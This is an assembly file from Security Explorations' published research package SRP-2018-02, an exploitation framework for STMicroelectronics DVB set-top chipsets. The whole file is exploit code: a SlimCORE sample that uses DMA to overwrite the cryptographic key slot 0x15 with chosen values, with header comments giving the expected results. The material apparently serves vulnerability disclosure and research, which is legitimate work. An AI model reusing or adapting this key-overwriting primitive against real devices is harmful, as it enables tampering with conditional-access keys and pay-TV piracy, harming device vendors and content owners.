;/*## (c) SECURITY EXPLORATIONS    2011-2018 poland                           #*/
;/*##     http://www.security-explorations.com                                #*/
;
;/* RESEARCH MATERIAL:	SRP-2018-02                                            */
;/* [Exploitation Framework for STMicroelectronics DVB chipsets]               */
;
;SlimCORE sample illustrating DMA operation (writing over key slot 0x15 entry)
;OUTPUT: RES0 - 0
;        RES1 - 0
;        RES2 - 0
;        RES3 - tkdcmd (0x23104022)
;
;        key slot 0x15 entry - 0xaabbccdd 0xaabbccdd 0xaabbccdd 0xaabbccdd

.data 0x4140
.def ARG0
.def ARG1
.def ARG2
.def ARG3

.def RES0
.def RES1
.def RES2
.def RES3

.def base
.word 0xfe248000

.def tkdcmd
.word 0x23104022

.def key
.word 0xaabbccdd

.code 0x05b7

.equ TKD_CMD_HI 0x0030
.equ TKD_CMD_LO 0x4042

.equ ADDR_HI 0xfe24
.equ ADDR_LO 0xb470

  mov r11,#0x0000
  mov r12,#0x7000
ll:
  ld  r3,[r0+base]
  mov r5,#0x3470
  opcode 0x00d00090
  add r3,r3,r5,#0000

  opcode 0x00f00000
  opcode 0x00d00090
  opcode 0x00d00090

  ld  r15,[r0+tkdcmd]
  mov r15,r3
  ld  r15,[r0+key]
  ld  r15,[r0+key]
  ld  r15,[r0+key]
  ld  r15,[r0+key]

  add r11,r11,r0,#0001
  sub r12,r12,r0,#0001
  jne ll

  mov r0,#0000
  ld  r2,[r0+tkdcmd]

  st  r0,[r0+RES0]
  st  r0,[r0+RES1]
  st  r0,[r0+RES2]

  st  r2,[r0+RES3]
